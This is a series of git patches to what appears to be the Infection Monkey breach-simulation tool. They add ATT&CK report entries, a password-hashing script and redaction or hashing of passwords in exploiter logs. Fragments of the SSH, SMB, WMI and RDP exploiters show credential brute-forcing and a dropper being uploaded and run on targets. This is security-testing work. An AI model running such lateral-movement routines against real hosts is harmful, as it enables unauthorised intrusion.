mongo @@ -34,7 +34,9 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1005': T1005.T1005, 'T1018': T1018.T1018, 'T1016': T1016.T1016, - 'T1021': T1021.T1021} + 'T1021': T1021.T1021, + 'T1064': T1064.T1064 + } REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 2335f005c..c75678fdc 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -173,6 +173,14 @@ SCHEMA = { "necessary": True, "description": "Adversaries can use PowerShell to perform a number of actions," " including discovery of information and execution of code.", + }, + "T1064": { + "title": "T1064 Scripting", + "type": "bool", + "value": True, + "necessary": True, + "description": "Adversaries may use scripts to aid in operations and " + "perform multiple actions that would otherwise be manual.", } } }, diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py new file mode 100644 index 000000000..ef9ce1b80 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py @@ -0,0 +1,16 @@ +from monkey_island.cc.services.attack.technique_reports import UsageTechnique + +__author__ = "VakarisZ" + + +class T1064(UsageTechnique): + tech_id = "T1064" + unscanned_msg = "Monkey didn't run scripts." + scanned_msg = "" + used_msg = "Monkey ran scripts on machines in the network." + + @staticmethod + def get_report_data(): + data = T1064.get_tech_base_data() + data.update({'scripts': T1064.get_usage_data()}) + return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js new file mode 100644 index 000000000..f57abd4b8 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js @@ -0,0 +1,30 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { getUsageColumns } from "./Helpers" + + +class T1064 extends React.Component { + + constructor(props) { + super(props); + } + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.scripts.length !== 0 ? + : ""} +
+ ); + } +} + +export default T1064; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 86fce36e5..e7e4d7850 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -29,6 +29,7 @@ import T1005 from "../attack/techniques/T1005"; import T1018 from "../attack/techniques/T1018"; import T1016 from "../attack/techniques/T1016"; import T1021 from "../attack/techniques/T1021"; +import T1064 from "../attack/techniques/T1064"; const tech_components = { 'T1210': T1210, @@ -53,7 +54,8 @@ const tech_components = { 'T1005': T1005, 'T1018': T1018, 'T1016': T1016, - 'T1021': T1021 + 'T1021': T1021, + 'T1064': T1064 }; const classNames = require('classnames'); From 15f6bce46d25550100de559ab3472bb86227db85 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 23 Jul 2019 13:20:14 +0300 Subject: [PATCH 033/276] Create island_password_hasher.py Used for Monkey Island password hash see https://github.com/guardicore/monkey/wiki/Enabling-Monkey-Island-Password-Protection --- .../scripts/island_password_hasher.py | 23 +++++++++++++++++++ 1 file changed, 23 insertions(+) create mode 100644 monkey/monkey_island/scripts/island_password_hasher.py diff --git a/monkey/monkey_island/scripts/island_password_hasher.py b/monkey/monkey_island/scripts/island_password_hasher.py new file mode 100644 index 000000000..159e0d098 --- /dev/null +++ b/monkey/monkey_island/scripts/island_password_hasher.py @@ -0,0 +1,23 @@ +""" +Utility script for running a string through SHA3_512 hash. +Used for Monkey Island password hash, see +https://github.com/guardicore/monkey/wiki/Enabling-Monkey-Island-Password-Protection +for more details. +""" + +import argparse +from Crypto.Hash import SHA3_512 + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("string_to_sha", help="The string to do sha for") + args = parser.parse_args() + + h = SHA3_512.new() + h.update(args.string_to_sha) + print(h.hexdigest()) + + +if __name__ == '__main__': + main() From 8d5c90faa46d5c698ee4f5c1f7cc0be90beba22f Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 29 Jul 2019 09:18:45 +0300 Subject: [PATCH 034/276] Filtering sensitive info when logging running config --- monkey/infection_monkey/config.py | 6 ++++++ monkey/infection_monkey/control.py | 3 ++- monkey/infection_monkey/main.py | 2 +- 3 files changed, 9 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index f7e4cfae4..72fc8adf6 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -53,6 +53,12 @@ class Configuration(object): result = self.from_kv(formatted_data) return result + @staticmethod + def filter_sensitive_info(config_dict): + config_dict["exploit_password_list"] = ["~REDACTED~"] + config_dict["exploit_user_list"] = ["~REDACTED~"] + return config_dict + def as_dict(self): result = {} for key in dir(Configuration): diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index f34784041..874616f00 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -168,7 +168,8 @@ class ControlClient(object): try: unknown_variables = WormConfiguration.from_kv(reply.json().get('config')) - LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),)) + LOG.info("New configuration was loaded from server: %r" % + (WormConfiguration.filter_sensitive_info(WormConfiguration.as_dict()),)) except Exception as exc: # we don't continue with default conf here because it might be dangerous LOG.error("Error parsing JSON reply from control server %s (%s): %s", diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index b8e292243..c880dc7f0 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -68,7 +68,7 @@ def main(): else: print("Config file wasn't supplied and default path: %s wasn't found, using internal default" % (config_file,)) - print("Loaded Configuration: %r" % WormConfiguration.as_dict()) + print("Loaded Configuration: %r" % WormConfiguration.filter_sensitive_info(WormConfiguration.as_dict())) # Make sure we're not in a machine that has the kill file kill_path = os.path.expandvars( From bb8e9f519282f9e07981d413af1db8a1bd9fbf4b Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 29 Jul 2019 10:15:27 +0300 Subject: [PATCH 035/276] Fixed CR Comment - exported sensitive fields --- monkey/infection_monkey/config.py | 12 +++++++----- monkey/infection_monkey/control.py | 2 +- monkey/infection_monkey/main.py | 2 +- 3 files changed, 9 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 72fc8adf6..077aa705b 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -13,9 +13,11 @@ GUID = str(uuid.getnode()) EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin') +SENSITIVE_FIELDS = ["exploit_password_list", "exploit_user_list"] +HIDDEN_FIELD_REPLACEMENT_CONTENT = "hidden" + class Configuration(object): - def from_kv(self, formatted_data): # now we won't work at <2.7 for sure network_import = importlib.import_module('infection_monkey.network') @@ -54,9 +56,9 @@ class Configuration(object): return result @staticmethod - def filter_sensitive_info(config_dict): - config_dict["exploit_password_list"] = ["~REDACTED~"] - config_dict["exploit_user_list"] = ["~REDACTED~"] + def hide_sensitive_info(config_dict): + for field in SENSITIVE_FIELDS: + config_dict[field] = HIDDEN_FIELD_REPLACEMENT_CONTENT return config_dict def as_dict(self): @@ -180,7 +182,7 @@ class Configuration(object): # TCP Scanner HTTP_PORTS = [80, 8080, 443, - 8008, # HTTP alternate + 8008, # HTTP alternate 7001 # Oracle Weblogic default server port ] tcp_target_ports = [22, diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 874616f00..f6c52be55 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -169,7 +169,7 @@ class ControlClient(object): try: unknown_variables = WormConfiguration.from_kv(reply.json().get('config')) LOG.info("New configuration was loaded from server: %r" % - (WormConfiguration.filter_sensitive_info(WormConfiguration.as_dict()),)) + (WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()),)) except Exception as exc: # we don't continue with default conf here because it might be dangerous LOG.error("Error parsing JSON reply from control server %s (%s): %s", diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index c880dc7f0..2ddf9127e 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -68,7 +68,7 @@ def main(): else: print("Config file wasn't supplied and default path: %s wasn't found, using internal default" % (config_file,)) - print("Loaded Configuration: %r" % WormConfiguration.filter_sensitive_info(WormConfiguration.as_dict())) + print("Loaded Configuration: %r" % WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict())) # Make sure we're not in a machine that has the kill file kill_path = os.path.expandvars( From 209aacd96d0f79aef8ca6497f4ba4f92b581859e Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 29 Jul 2019 17:11:01 +0300 Subject: [PATCH 036/276] Hashing all places in the log that log passwords Now passwords are no longer plaintext --- monkey/infection_monkey/config.py | 13 ++++++++++ monkey/infection_monkey/exploit/mssqlexec.py | 5 ++-- monkey/infection_monkey/exploit/rdpgrinder.py | 14 +++++------ monkey/infection_monkey/exploit/smbexec.py | 8 +++---- monkey/infection_monkey/exploit/sshexec.py | 24 +++++++++---------- monkey/infection_monkey/exploit/wmiexec.py | 18 ++++++++------ 6 files changed, 50 insertions(+), 32 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 077aa705b..cb5bf881b 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -1,3 +1,4 @@ +import hashlib import os import json import sys @@ -280,5 +281,17 @@ class Configuration(object): PBA_linux_filename = None PBA_windows_filename = None + @staticmethod + def hash_sensitive_data(sensitive_data): + """ + Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data plain-text, as the log is + saved on client machines plain-text. + + :param sensitive_data: the data to hash. + :return: the hashed data. + """ + password_hashed = hashlib.sha512(sensitive_data).hexdigest() + return password_hashed + WormConfiguration = Configuration() diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 9d1dcb2d6..f1e561644 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -123,8 +123,9 @@ class MSSQLExploiter(HostExploiter): # Core steps # Trying to connect conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT) - LOG.info('Successfully connected to host: {0}, ' - 'using user: {1}, password: {2}'.format(host, user, password)) + LOG.info( + 'Successfully connected to host: {0}, using user: {1}, password (SHA-512): {2}'.format( + host, user, self._config.hash_sensitive_data(password))) self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT) self.report_login_attempt(True, user, password) cursor = conn.cursor() diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py index 0db63e86d..c63affcdc 100644 --- a/monkey/infection_monkey/exploit/rdpgrinder.py +++ b/monkey/infection_monkey/exploit/rdpgrinder.py @@ -9,16 +9,16 @@ from rdpy.core.error import RDPSecurityNegoFail from rdpy.protocol.rdp import rdp from twisted.internet import reactor +from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING +from common.utils.exploit_enum import ExploitType from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools import HTTPTools, get_monkey_depth +from infection_monkey.exploit.tools import build_monkey_commandline from infection_monkey.exploit.tools import get_target_monkey from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS from infection_monkey.network.tools import check_tcp_port -from infection_monkey.exploit.tools import build_monkey_commandline from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from infection_monkey.utils import utf_to_ascii -from common.utils.exploit_enum import ExploitType -from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING __author__ = 'hoffer' @@ -299,8 +299,8 @@ class RdpExploiter(HostExploiter): for user, password in user_password_pairs: try: # run command using rdp. - LOG.info("Trying RDP logging into victim %r with user %s and password '%s'", - self.host, user, password) + LOG.info("Trying RDP logging into victim %r with user %s and password (SHA-512) '%s'", + self.host, user, self._config.hash_sensitive_data(password)) LOG.info("RDP connected to %r", self.host) @@ -327,8 +327,8 @@ class RdpExploiter(HostExploiter): except Exception as exc: LOG.debug("Error logging into victim %r with user" - " %s and password '%s': (%s)", self.host, - user, password, exc) + " %s and password (SHA-512) '%s': (%s)", self.host, + user, self._config.hash_sensitive_data(password), exc) continue http_thread.join(DOWNLOAD_TIMEOUT) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index d49e66ae8..0bc8fc783 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -66,8 +66,8 @@ class SmbExploiter(HostExploiter): self._config.smb_download_timeout) if remote_full_path is not None: - LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)", - self.host, user, password, lm_hash, ntlm_hash) + LOG.debug("Successfully logged in %r using SMB (%s : (SHA-512) %s : %s : %s)", + self.host, user, self._config.hash_sensitive_data(password), lm_hash, ntlm_hash) self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1], SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1])) @@ -79,8 +79,8 @@ class SmbExploiter(HostExploiter): except Exception as exc: LOG.debug("Exception when trying to copy file using SMB to %r with user:" - " %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", self.host, - user, password, lm_hash, ntlm_hash, exc) + " %s, password (SHA-512): '%s', LM hash: %s, NTLM hash: %s: (%s)", self.host, + user, self._config.hash_sensitive_data(password), lm_hash, ntlm_hash, exc) continue if not exploited: diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index c7cf030c1..1e002cd26 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -1,16 +1,16 @@ +import StringIO import logging import time import paramiko -import StringIO import infection_monkey.monkeyfs as monkeyfs +from common.utils.exploit_enum import ExploitType from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import build_monkey_commandline from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port -from infection_monkey.exploit.tools import build_monkey_commandline -from common.utils.exploit_enum import ExploitType __author__ = 'hoffer' @@ -71,26 +71,26 @@ class SSHExploiter(HostExploiter): exploited = False - for user, curpass in user_password_pairs: + for user, current_password in user_password_pairs: try: ssh.connect(self.host.ip_addr, username=user, - password=curpass, + password=current_password, port=port, timeout=None) - LOG.debug("Successfully logged in %r using SSH (%s : %s)", - self.host, user, curpass) + LOG.debug("Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)", + self.host, user, self._config.hash_sensitive_data(current_password)) exploited = True self.add_vuln_port(port) - self.report_login_attempt(True, user, curpass) + self.report_login_attempt(True, user, current_password) break except Exception as exc: LOG.debug("Error logging into victim %r with user" - " %s and password '%s': (%s)", self.host, - user, curpass, exc) - self.report_login_attempt(False, user, curpass) + " %s and password (SHA-512) '%s': (%s)", self.host, + user, self._config.hash_sensitive_data(current_password), exc) + self.report_login_attempt(False, user, current_password) continue return exploited @@ -109,7 +109,7 @@ class SSHExploiter(HostExploiter): LOG.info("SSH port is closed on %r, skipping", self.host) return False - #Check for possible ssh exploits + # Check for possible ssh exploits exploited = self.exploit_with_ssh_keys(port, ssh) if not exploited: exploited = self.exploit_with_login_creds(port, ssh) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 9439d7414..b27dccbb8 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -33,8 +33,10 @@ class WmiExploiter(HostExploiter): creds = self._config.get_exploit_user_password_or_hash_product() for user, password, lm_hash, ntlm_hash in creds: - LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", - self.host, user, password, lm_hash, ntlm_hash) + password_hashed = self._config.hash_sensitive_data(password) + LOG.debug("Attempting to connect %r using WMI with " + "user,password (SHA-512),lm hash,ntlm hash: ('%s','%s','%s','%s')", + self.host, user, password_hashed, lm_hash, ntlm_hash) wmi_connection = WmiTools.WmiConnection() @@ -44,23 +46,23 @@ class WmiExploiter(HostExploiter): self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) LOG.debug("Failed connecting to %r using WMI with " "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", - self.host, user, password, lm_hash, ntlm_hash) + self.host, user, password_hashed, lm_hash, ntlm_hash) continue except DCERPCException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) LOG.debug("Failed connecting to %r using WMI with " "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", - self.host, user, password, lm_hash, ntlm_hash) + self.host, user, password_hashed, lm_hash, ntlm_hash) continue except socket.error: LOG.debug("Network error in WMI connection to %r with " "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", - self.host, user, password, lm_hash, ntlm_hash) + self.host, user, password_hashed, lm_hash, ntlm_hash) return False except Exception as exc: LOG.debug("Unknown WMI connection error to %r with " "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s", - self.host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc()) + self.host, user, password_hashed, lm_hash, ntlm_hash, exc, traceback.format_exc()) return False self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) @@ -91,7 +93,8 @@ class WmiExploiter(HostExploiter): # execute the remote dropper in case the path isn't final elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32) + build_monkey_commandline( + self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) @@ -118,3 +121,4 @@ class WmiExploiter(HostExploiter): return success return False + From 32e930559d02412e353f0a257081bb0704106c1a Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 1 Aug 2019 10:09:40 +0300 Subject: [PATCH 037/276] Improved docs of "parse_usages" method --- .../cc/services/attack/technique_reports/__init__.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index 9b0c23d50..30c73f609 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -124,8 +124,8 @@ class UsageTechnique(AttackTechnique): def parse_usages(usage): """ Parses data from database and translates usage enums into strings - :param usage: - :return: + :param usage: Usage telemetry that contains fields: {'usage': 'SMB', 'status': 1} + :return: usage string """ try: usage['usage'] = UsageEnum[usage['usage']].value[usage['status']] From 111080d5cd17481f8b4ffafd995401f9a19ca528 Mon Sep 17 00:00:00 2001 From: itay Date: Thu, 1 Aug 2019 10:52:38 +0300 Subject: [PATCH 038/276] remove python 3 build from travis --- .travis.yml | 6 ------ 1 file changed, 6 deletions(-) diff --git a/.travis.yml b/.travis.yml index 963c37fc6..b14482939 100644 --- a/.travis.yml +++ b/.travis.yml @@ -3,12 +3,6 @@ language: python cache: pip python: - 2.7 - - 3.6 -matrix: - include: - - python: 3.7 - dist: xenial # required for Python 3.7 (travis-ci/travis-ci#9069) - sudo: required # required for Python 3.7 (travis-ci/travis-ci#9069) install: #- pip install -r requirements.txt - pip install flake8 # pytest # add another testing frameworks later From 287115dded5adda7ac3645500c2d716b3ed18070 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 1 Aug 2019 14:07:05 +0300 Subject: [PATCH 039/276] Moved services which are related to the report to a dedicated directory --- monkey/monkey_island/cc/resources/report.py | 2 +- monkey/monkey_island/cc/resources/root.py | 2 +- monkey/monkey_island/cc/services/reporting/__init__.py | 0 monkey/monkey_island/cc/services/{ => reporting}/pth_report.py | 0 monkey/monkey_island/cc/services/{ => reporting}/report.py | 2 +- .../cc/services/{ => reporting}/test_PTHReportService.py | 2 +- 6 files changed, 4 insertions(+), 4 deletions(-) create mode 100644 monkey/monkey_island/cc/services/reporting/__init__.py rename monkey/monkey_island/cc/services/{ => reporting}/pth_report.py (100%) rename monkey/monkey_island/cc/services/{ => reporting}/report.py (99%) rename monkey/monkey_island/cc/services/{ => reporting}/test_PTHReportService.py (96%) diff --git a/monkey/monkey_island/cc/resources/report.py b/monkey/monkey_island/cc/resources/report.py index 62a014fef..d75f91b0f 100644 --- a/monkey/monkey_island/cc/resources/report.py +++ b/monkey/monkey_island/cc/resources/report.py @@ -1,7 +1,7 @@ import flask_restful from monkey_island.cc.auth import jwt_required -from monkey_island.cc.services.report import ReportService +from monkey_island.cc.services.reporting.report import ReportService __author__ = "itay.mizeretz" diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index 2af73a45e..e3b3e9854 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -7,7 +7,7 @@ from flask import request, make_response, jsonify from monkey_island.cc.auth import jwt_required from monkey_island.cc.database import mongo from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.report import ReportService +from monkey_island.cc.services.reporting.report import ReportService from monkey_island.cc.services.attack.attack_report import AttackReportService from monkey_island.cc.utils import local_ip_addresses from monkey_island.cc.services.database import Database diff --git a/monkey/monkey_island/cc/services/reporting/__init__.py b/monkey/monkey_island/cc/services/reporting/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/reporting/pth_report.py similarity index 100% rename from monkey/monkey_island/cc/services/pth_report.py rename to monkey/monkey_island/cc/services/reporting/pth_report.py diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/reporting/report.py similarity index 99% rename from monkey/monkey_island/cc/services/report.py rename to monkey/monkey_island/cc/services/reporting/report.py index 593bbfdaf..1d7ac162d 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -16,7 +16,7 @@ from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge import EdgeService from monkey_island.cc.services.node import NodeService from monkey_island.cc.utils import local_ip_addresses, get_subnets -from pth_report import PTHReportService +from monkey_island.cc.services.reporting.pth_report import PTHReportService from common.network.network_range import NetworkRange __author__ = "itay.mizeretz" diff --git a/monkey/monkey_island/cc/services/test_PTHReportService.py b/monkey/monkey_island/cc/services/reporting/test_PTHReportService.py similarity index 96% rename from monkey/monkey_island/cc/services/test_PTHReportService.py rename to monkey/monkey_island/cc/services/reporting/test_PTHReportService.py index 24e560ff0..f934f50ab 100644 --- a/monkey/monkey_island/cc/services/test_PTHReportService.py +++ b/monkey/monkey_island/cc/services/reporting/test_PTHReportService.py @@ -1,7 +1,7 @@ import uuid from monkey_island.cc.models import Monkey -from monkey_island.cc.services.pth_report import PTHReportService +from monkey_island.cc.services.reporting.pth_report import PTHReportService from monkey_island.cc.testing.IslandTestCase import IslandTestCase From 7470427feb36cda0ab1e6185b46800e0abdcbcef Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 1 Aug 2019 14:26:01 +0300 Subject: [PATCH 040/276] Changed UsageTelemetry calls to no longer require .name when specifying usage enum --- monkey/infection_monkey/exploit/smbexec.py | 2 +- monkey/infection_monkey/system_info/mimikatz_collector.py | 2 +- monkey/infection_monkey/telemetry/attack/t1035_telem.py | 2 +- monkey/infection_monkey/telemetry/attack/t1129_telem.py | 2 +- monkey/infection_monkey/telemetry/attack/usage_telem.py | 4 ++-- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 9d96b355b..a8ec2a78c 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -137,7 +137,7 @@ class SmbExploiter(HostExploiter): except: status = ScanStatus.SCANNED pass - T1035Telem(status, UsageEnum.SMB.name).send() + T1035Telem(status, UsageEnum.SMB).send() scmr.hRDeleteService(scmr_rpc, service) scmr.hRCloseServiceHandle(scmr_rpc, service) diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py index 47fa0d431..0ad0d692f 100644 --- a/monkey/infection_monkey/system_info/mimikatz_collector.py +++ b/monkey/infection_monkey/system_info/mimikatz_collector.py @@ -54,7 +54,7 @@ class MimikatzCollector(object): except Exception: LOG.exception("Error initializing mimikatz collector") status = ScanStatus.SCANNED - T1129Telem(status, UsageEnum.MIMIKATZ.name).send() + T1129Telem(status, UsageEnum.MIMIKATZ).send() def get_logon_info(self): """ diff --git a/monkey/infection_monkey/telemetry/attack/t1035_telem.py b/monkey/infection_monkey/telemetry/attack/t1035_telem.py index 13d0bcc59..4ca9dc93c 100644 --- a/monkey/infection_monkey/telemetry/attack/t1035_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1035_telem.py @@ -6,6 +6,6 @@ class T1035Telem(UsageTelem): """ T1035 telemetry. :param status: ScanStatus of technique - :param usage: Enum name of UsageEnum + :param usage: Enum of UsageEnum type """ super(T1035Telem, self).__init__('T1035', status, usage) diff --git a/monkey/infection_monkey/telemetry/attack/t1129_telem.py b/monkey/infection_monkey/telemetry/attack/t1129_telem.py index a04834959..4e7a12ce8 100644 --- a/monkey/infection_monkey/telemetry/attack/t1129_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1129_telem.py @@ -6,6 +6,6 @@ class T1129Telem(UsageTelem): """ T1129 telemetry. :param status: ScanStatus of technique - :param usage: Enum name of UsageEnum + :param usage: Enum of UsageEnum type """ super(T1129Telem, self).__init__("T1129", status, usage) diff --git a/monkey/infection_monkey/telemetry/attack/usage_telem.py b/monkey/infection_monkey/telemetry/attack/usage_telem.py index d493c64d8..4b47d8be3 100644 --- a/monkey/infection_monkey/telemetry/attack/usage_telem.py +++ b/monkey/infection_monkey/telemetry/attack/usage_telem.py @@ -7,10 +7,10 @@ class UsageTelem(AttackTelem): """ :param technique: Id of technique :param status: ScanStatus of technique - :param usage: Enum name of UsageEnum + :param usage: Enum of UsageEnum type """ super(UsageTelem, self).__init__(technique, status) - self.usage = usage + self.usage = usage.name def get_data(self): data = super(UsageTelem, self).get_data() From f01febfb5df111158423d55816dea28dda97794d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 1 Aug 2019 14:52:27 +0300 Subject: [PATCH 041/276] Fixed code duplication in T1105 sending and typo in report header --- monkey/infection_monkey/exploit/sshexec.py | 17 +++++++++-------- .../post_breach/actions/users_custom_pba.py | 17 +++++++++++------ .../src/components/attack/techniques/T1105.js | 2 +- 3 files changed, 21 insertions(+), 15 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 2c56471a4..78e51f875 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -164,19 +164,20 @@ class SSHExploiter(HostExploiter): ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), callback=self.log_transfer) ftp.chmod(self._config.dropper_target_path_linux, 0o777) - T1105Telem(ScanStatus.USED, - get_interface_to_target(self.host.ip_addr[0]), - self.host.ip_addr[0], - src_path).send() + status = ScanStatus.USED ftp.close() except Exception as exc: LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc) - T1105Telem(ScanStatus.SCANNED, - get_interface_to_target(self.host.ip_addr[0]), - self.host.ip_addr[0], - src_path).send() + status = ScanStatus.SCANNED + + T1105Telem(status, + get_interface_to_target(self.host.ip_addr[0]), + self.host.ip_addr[0], + src_path).send() + if status == ScanStatus.SCANNED: return False + try: cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index d923cb60e..a388813ab 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -82,17 +82,22 @@ class UsersPBA(PBA): pba_file_contents = ControlClient.get_pba_file(filename) + status = None if not pba_file_contents or not pba_file_contents.content: LOG.error("Island didn't respond with post breach file.") - T1105Telem(ScanStatus.SCANNED, - WormConfiguration.current_server.split(':')[0], - get_interface_to_target(WormConfiguration.current_server.split(':')[0]), - filename).send() - return False - T1105Telem(ScanStatus.USED, + status = ScanStatus.SCANNED + + if not status: + status = ScanStatus.USED + + T1105Telem(status, WormConfiguration.current_server.split(':')[0], get_interface_to_target(WormConfiguration.current_server.split(':')[0]), filename).send() + + if status == ScanStatus.SCANNED: + return False + try: with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: written_PBA_file.write(pba_file_contents.content) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js 